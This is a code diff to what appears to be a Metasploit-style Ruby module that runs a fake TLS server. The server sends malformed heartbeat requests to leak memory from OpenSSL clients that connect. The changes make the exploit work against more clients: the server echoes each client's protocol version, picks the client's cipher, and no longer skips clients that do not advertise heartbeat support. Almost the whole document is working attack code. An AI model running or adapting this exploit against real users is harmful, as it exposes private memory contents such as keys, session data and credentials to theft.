@@ -16,7 +16,7 @@ def initialize
16
16
'Description' => %q{
17
17
This module provides a fake SSL service that is intended to
18
18
leak memory from client systems as they connect. This module is
19
- hardcoded for TLS/1.1 using the AES-128-CBC-SHA1 cipher.
19
+ hardcoded for using the AES-128-CBC-SHA1 cipher.
20
20
} ,
21
21
'Author' =>
22
22
[
@@ -128,7 +128,7 @@ def process_request(c)
128
128
129
129
# Process cleartext TLS messages
130
130
def process_openssl_cleartext_request ( c , data )
131
- message_type , message_version = data . unpack ( "Cn" )
131
+ message_type , message_version , protocol_version = data . unpack ( "Cn@9n " )
132
132
133
133
if message_type == 0x15 and data . length >= 7
134
134
message_level , message_reason = data [ 5 , 2 ] . unpack ( "CC" )
@@ -160,19 +160,12 @@ def process_openssl_cleartext_request(c, data)
160
160
161
161
print_status ( "#{ @state [ c ] [ :name ] } Processing Client Hello..." )
162
162
163
- # Ignore clients that do not support heartbeat requests
164
- unless data . index ( "\x0F \x00 \x01 \x01 " )
165
- print_status ( "#{ @state [ c ] [ :name ] } Client does not support heartbeats" )
166
- c . close
167
- return
168
- end
169
-
170
163
# Extract the client_random needed to compute the master key
171
164
@state [ c ] [ :client_random ] = data [ 11 , 32 ]
172
165
@state [ c ] [ :received_hello ] = true
173
166
174
167
print_status ( "#{ @state [ c ] [ :name ] } Sending Server Hello..." )
175
- openssl_send_server_hello ( c , data )
168
+ openssl_send_server_hello ( c , data , protocol_version )
176
169
return
177
170
end
178
171
@@ -203,7 +196,7 @@ def process_openssl_cleartext_request(c, data)
203
196
else
204
197
# Send heartbeat requests
205
198
if @state [ c ] [ :heartbeats ] . length < heartbeat_limit
206
- openssl_send_heartbeat ( c )
199
+ openssl_send_heartbeat ( c , protocol_version )
207
200
end
208
201
209
202
# Process cleartext heartbeat replies
@@ -223,7 +216,7 @@ def process_openssl_cleartext_request(c, data)
223
216
224
217
# Process encrypted TLS messages
225
218
def process_openssl_encrypted_request ( c , data )
226
- message_type , message_version = data . unpack ( "Cn" )
219
+ message_type , message_version , protocol_version = data . unpack ( "Cn@9n " )
227
220
228
221
return if @state [ c ] [ :shutdown ]
229
222
return unless data . length > 5
@@ -244,7 +237,7 @@ def process_openssl_encrypted_request(c, data)
244
237
245
238
# Send heartbeat requests
246
239
if @state [ c ] [ :heartbeats ] . length < heartbeat_limit
247
- openssl_send_heartbeat ( c )
240
+ openssl_send_heartbeat ( c , protocol_version )
248
241
end
249
242
250
243
# Process heartbeat replies
@@ -305,47 +298,55 @@ def on_client_close(c)
305
298
end
306
299
307
300
# Send an OpenSSL Server Hello response
308
- def openssl_send_server_hello ( c , hello )
301
+ def openssl_send_server_hello ( c , hello , version )
302
+
303
+ # If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
304
+ # first cipher suite sent by the client.
305
+ if @state [ c ] [ :encrypted ]
306
+ cipher = "\x00 \x2F "
307
+ else
308
+ cipher = hello [ 46 , 2 ]
309
+ end
309
310
310
311
# Create the Server Hello response
311
312
extensions =
312
313
"\x00 \x0f \x00 \x01 \x01 " # Heartbeat
313
314
314
315
server_hello_payload =
315
- " \x03 \x02 " + # TLS Version 1.1
316
+ [ version ] . pack ( 'n' ) + # Use the protocol version sent by the client.
316
317
@state [ c ] [ :server_random ] + # Random (Timestamp + Random Bytes)
317
318
"\x00 " + # Session ID
318
- " \x00 \x2F " + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
319
+ cipher + # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
319
320
"\x00 " + # Compression Method (none)
320
321
[ extensions . length ] . pack ( 'n' ) + extensions
321
322
322
323
server_hello = [ 0x02 ] . pack ( "C" ) + [ server_hello_payload . length ] . pack ( "N" ) [ 1 , 3 ] + server_hello_payload
323
324
324
- msg1 = "\x16 \x03 \x02 " + [ server_hello . length ] . pack ( "n" ) + server_hello
325
+ msg1 = "\x16 " + [ version ] . pack ( 'n' ) + [ server_hello . length ] . pack ( "n" ) + server_hello
325
326
c . put ( msg1 )
326
327
327
328
# Skip the rest of TLS if we arent negotiating it
328
329
unless negotiate_tls?
329
330
# Send a heartbeat request to start the stream and return
330
- openssl_send_heartbeat ( c )
331
+ openssl_send_heartbeat ( c , version )
331
332
return
332
333
end
333
334
334
335
# Certificates
335
336
certs_combined = generate_certificates
336
337
pay2 = "\x0b " + [ certs_combined . length + 3 ] . pack ( "N" ) [ 1 , 3 ] + [ certs_combined . length ] . pack ( "N" ) [ 1 , 3 ] + certs_combined
337
- msg2 = "\x16 \x03 \x02 " + [ pay2 . length ] . pack ( "n" ) + pay2
338
+ msg2 = "\x16 " + [ version ] . pack ( 'n' ) + [ pay2 . length ] . pack ( "n" ) + pay2
338
339
c . put ( msg2 )
339
340
340
341
# End of Server Hello
341
342
pay3 = "\x0e \x00 \x00 \x00 "
342
- msg3 = "\x16 \x03 \x02 " + [ pay3 . length ] . pack ( "n" ) + pay3
343
+ msg3 = "\x16 " + [ version ] . pack ( 'n' ) + [ pay3 . length ] . pack ( "n" ) + pay3
343
344
c . put ( msg3 )
344
345
end
345
346
346
347
# Send the heartbeat request that results in memory exposure
347
- def openssl_send_heartbeat ( c )
348
- c . put "\x18 \x03 \x02 \x00 \x03 \x01 " + [ heartbeat_read_size ] . pack ( "n" )
348
+ def openssl_send_heartbeat ( c , version )
349
+ c . put "\x18 " + [ version ] . pack ( 'n' ) + " \x00 \x03 \x01 " + [ heartbeat_read_size ] . pack ( "n" )
349
350
end
350
351
351
352
# Pack the certificates for use in the TLS reply
0 commit comments